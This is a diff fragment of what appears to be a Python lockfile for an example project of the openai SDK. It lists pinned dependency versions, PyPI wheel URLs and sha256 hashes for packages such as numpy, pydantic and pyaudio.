+ { url = "https://files.pythonhosted.org/packages/fc/5e/29c73c31748cdb0f7566642125ba17fd5b56780cddf891b085dab27e4466/numpy-2.5.2-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba0a474801b8dc67b66bf465548abc90e82b44d2611b5770f33008dcabffe8ec", size = 16751730, upload-time = "2026-08-09T13:48:05.706Z" },
+ { url = "https://files.pythonhosted.org/packages/47/95/02501e8454796bb58dadf7a99d3181e0b464bf264e1003039572f9779fac/numpy-2.5.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:0a4035ae1129ff8777f08bfbd44f1e5d8e9c049ce0c2dd78fc0d92c13e7251c0", size = 17038686, upload-time = "2026-08-09T13:48:09.627Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/b5/53a681d91b5c82687067d8ea5035e02d917b5509d6f334cb06484a954714/numpy-2.5.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:77843ca236b777e67f8d6b3660ea116e499612703a0ecd7093f316201eb9d8e2", size = 18507727, upload-time = "2026-08-09T13:48:13.744Z" },
+ { url = "https://files.pythonhosted.org/packages/42/06/6e11443f7b64ee376c860506091103bf68f92d2cab9e8d96d4501babf07c/numpy-2.5.2-cp315-cp315t-win32.whl", hash = "sha256:7354826bc6f8f69402e9b7fe28d15fcd34feebd74f856f111585c5b0c9fb0251", size = 6269775, upload-time = "2026-08-09T13:48:17.543Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/18/195d6b86cd72dbbc501edfa778005fa6b87afd34c153e46028cd3a0938f4/numpy-2.5.2-cp315-cp315t-win_amd64.whl", hash = "sha256:e5651f3f87add730ee6608d915009e19c911fba0cb000c7e3ea994b7d768eb12", size = 12782559, upload-time = "2026-08-09T13:48:21.023Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/07/458c344f0f0c178f4481dad5cca790626ffe4c34eabf9467069d06ee4999/numpy-2.5.2-cp315-cp315t-win_arm64.whl", hash = "sha256:5f8e00be2ec6f45f4e8a41a527f68d44a7d96fee92a650e4d8b1326f77f61e6e", size = 10748103, upload-time = "2026-08-09T13:48:24.21Z" },
+]
+
+[[package]]
+name = "openai"
+version = "3.3.0"
+source = { editable = "../../" }
+dependencies = [
+ { name = "anyio" },
+ { name = "httpx2" },
+ { name = "jiter" },
+ { name = "pydantic" },
+ { name = "sniffio" },
+ { name = "typing-extensions" },
+]
+
+[package.optional-dependencies]
+realtime = [
+ { name = "websockets" },
+]
+
+[package.metadata]
+requires-dist = [
+ { name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
+ { name = "anyio", specifier = ">=4.10.0,<5" },
+ { name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
+ { name = "httpx2", specifier = ">=2.7.0,<3" },
+ { name = "jiter", specifier = ">=0.10.0,<1" },
+ { name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
+ { name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
+ { name = "pandas", marker = "extra == 'datalib'", specifier = ">=1.2.3" },
+ { name = "pydantic", specifier = ">=1.9.0,<3" },
+ { name = "sniffio" },
+ { name = "sounddevice", marker = "extra == 'voice-helpers'", specifier = ">=0.5.1" },
+ { name = "typing-extensions", specifier = ">=4.14,<5" },
+ { name = "urllib3", marker = "extra == 'bedrock'", specifier = ">=2.7.0,<3" },
+ { name = "websockets", marker = "extra == 'realtime'", specifier = ">=13,<16" },
+]
+provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
+
+[package.metadata.requires-dev]
+build = [
+ { name = "hatchling", specifier = "==1.26.3" },
+ { name = "packaging", specifier = "==26.3" },
+ { name = "pathspec", specifier = "==1.1.1" },
+ { name = "pluggy", specifier = "==1.6.0" },
+ { name = "tomli", marker = "python_full_version < '3.11'", specifier = "==2.4.1" },
+ { name = "trove-classifiers", specifier = "==2026.6.1.19" },
+]
+dev = [
+ { name = "azure-identity", specifier = ">=1.14.1" },
+ { name = "botocore", specifier = "==1.42.97" },
+ { name = "griffe", specifier = ">=1" },
+ { name = "inline-snapshot", specifier = ">=0.28.0" },
+ { name = "mypy", specifier = "==1.17" },
+ { name = "pandas-stubs", specifier = ">=1.1.0.11" },
+ { name = "pyright", specifier = "==1.1.399" },
+ { name = "pytest" },
+ { name = "pytest-asyncio" },
+ { name = "pytest-xdist", specifier = ">=3.6.1" },
+ { name = "rich", specifier = ">=13.7.1" },
+ { name = "ruff" },
+ { name = "trio", specifier = ">=0.22.2" },
+]
+pydantic-v1 = [{ name = "pydantic", specifier = ">=1.10.26,<2" }]
+pydantic-v2 = [{ name = "pydantic", specifier = ">=2,<3" }]
+
+[[package]]
+name = "platformdirs"
+version = "4.11.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e5/98/0bf930c4f97d0266b58a89e36c015f56232c52b5d2f207215d48cca9e8f7/platformdirs-4.11.2.tar.gz", hash = "sha256:3a2ae5fca3520a01ab1be8b45613537f52ddf5b5f6f53d88233892dfbf0cd82d", size = 32716, upload-time = "2026-08-10T15:48:06.092Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/49/e2/4e6eee633809c376c024821b91ade709cbfd040ec53939ffbcc292aa7eee/platformdirs-4.11.2-py3-none-any.whl", hash = "sha256:7f89089b6ea71bda7962953edcf784b2e2d9d285b40ad88be2bb75c6e9d82ab4", size = 23361, upload-time = "2026-08-10T15:48:04.855Z" },
+]
+
+[[package]]
+name = "pyaudio"
+version = "0.2.14"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/26/1d/8878c7752febb0f6716a7e1a52cb92ac98871c5aa522cba181878091607c/PyAudio-0.2.14.tar.gz", hash = "sha256:78dfff3879b4994d1f4fc6485646a57755c6ee3c19647a491f790a0895bd2f87", size = 47066, upload-time = "2023-11-07T07:11:48.806Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/90/90/1553487277e6aa25c0b7c2c38709cdd2b49e11c66c0b25c6e8b7b6638c72/PyAudio-0.2.14-cp310-cp310-win32.whl", hash = "sha256:126065b5e82a1c03ba16e7c0404d8f54e17368836e7d2d92427358ad44fefe61", size = 144624, upload-time = "2023-11-07T07:11:33.599Z" },
+ { url = "https://files.pythonhosted.org/packages/27/bc/719d140ee63cf4b0725016531d36743a797ffdbab85e8536922902c9349a/PyAudio-0.2.14-cp310-cp310-win_amd64.whl", hash = "sha256:2a166fc88d435a2779810dd2678354adc33499e9d4d7f937f28b20cc55893e83", size = 164069, upload-time = "2023-11-07T07:11:35.439Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/f0/b0eab89eafa70a86b7b566a4df2f94c7880a2d483aa8de1c77d335335b5b/PyAudio-0.2.14-cp311-cp311-win32.whl", hash = "sha256:506b32a595f8693811682ab4b127602d404df7dfc453b499c91a80d0f7bad289", size = 144624, upload-time = "2023-11-07T07:11:36.94Z" },
+ { url = "https://files.pythonhosted.org/packages/82/d8/f043c854aad450a76e476b0cf9cda1956419e1dacf1062eb9df3c0055abe/PyAudio-0.2.14-cp311-cp311-win_amd64.whl", hash = "sha256:bbeb01d36a2f472ae5ee5e1451cacc42112986abe622f735bb870a5db77cf903", size = 164070, upload-time = "2023-11-07T07:11:38.579Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/45/8d2b76e8f6db783f9326c1305f3f816d4a12c8eda5edc6a2e1d03c097c3b/PyAudio-0.2.14-cp312-cp312-win32.whl", hash = "sha256:5fce4bcdd2e0e8c063d835dbe2860dac46437506af509353c7f8114d4bacbd5b", size = 144750, upload-time = "2023-11-07T07:11:40.142Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/6a/d25812e5f79f06285767ec607b39149d02aa3b31d50c2269768f48768930/PyAudio-0.2.14-cp312-cp312-win_amd64.whl", hash = "sha256:12f2f1ba04e06ff95d80700a78967897a489c05e093e3bffa05a84ed9c0a7fa3", size = 164126, upload-time = "2023-11-07T07:11:41.539Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/77/66cd37111a87c1589b63524f3d3c848011d21ca97828422c7fde7665ff0d/PyAudio-0.2.14-cp313-cp313-win32.whl", hash = "sha256:95328285b4dab57ea8c52a4a996cb52be6d629353315be5bfda403d15932a497", size = 150982, upload-time = "2024-11-20T19:12:12.404Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/8b/7f9a061c1cc2b230f9ac02a6003fcd14c85ce1828013aecbaf45aa988d20/PyAudio-0.2.14-cp313-cp313-win_amd64.whl", hash = "sha256:692d8c1446f52ed2662120bcd9ddcb5aa2b71f38bda31e58b19fb4672fffba69", size = 173655, upload-time = "2024-11-20T19:12:13.616Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.13.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "annotated-types" },
+ { name = "pydantic-core" },
+ { name = "typing-extensions" },
+ { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.46.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" },
+ { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" },
+ { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" },
+ { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" },
+ { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" },
+ { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
+ { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" },
+ { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" },
+ { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" },
+ { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" },
+ { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3", size = 2165122, upload-time = "2026-05-06T13:37:01.167Z" },
+ { url = "https://files.pythonhosted.org/packages/f7/52/7c529d7bdb2d1068bd52f51fe32572c8301f9a4febf1948f10639f1436f5/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848", size = 2182573, upload-time = "2026-05-06T13:38:45.04Z" },
+ { url = "https://files.pythonhosted.org/packages/37/b3/7c40325848ba78247f2812dcf9c7274e38cd801820ca6dd9fe63bcfb0eb4/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3", size = 2317139, upload-time = "2026-05-06T13:37:15.539Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/37/f913f81a657c865b75da6c0dbed79876073c2a43b5bd9edbe8da785e4d49/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109", size = 2360433, upload-time = "2026-05-06T13:37:30.099Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/67/6acaa1be2567f9256b056d8477158cac7240813956ce86e49deae8e173b4/pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda", size = 1985513, upload-time = "2026-05-06T13:38:15.669Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/e6/c505f83dfeda9a2e5c995cfd872949e4d05e12f7feb3dca72f633daefa94/pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33", size = 2071114, upload-time = "2026-05-06T13:40:35.416Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/da/7a263a96d965d9d0df5e8de8a475f33495451117035b09acb110288c381f/pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d", size = 2044298, upload-time = "2026-05-06T13:38:29.754Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" },
+ { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" },
+ { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" },
+ { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" },
+ { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" },
+ { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" },
+ { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" },
+ { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" },
+ { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" },
+ { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" },
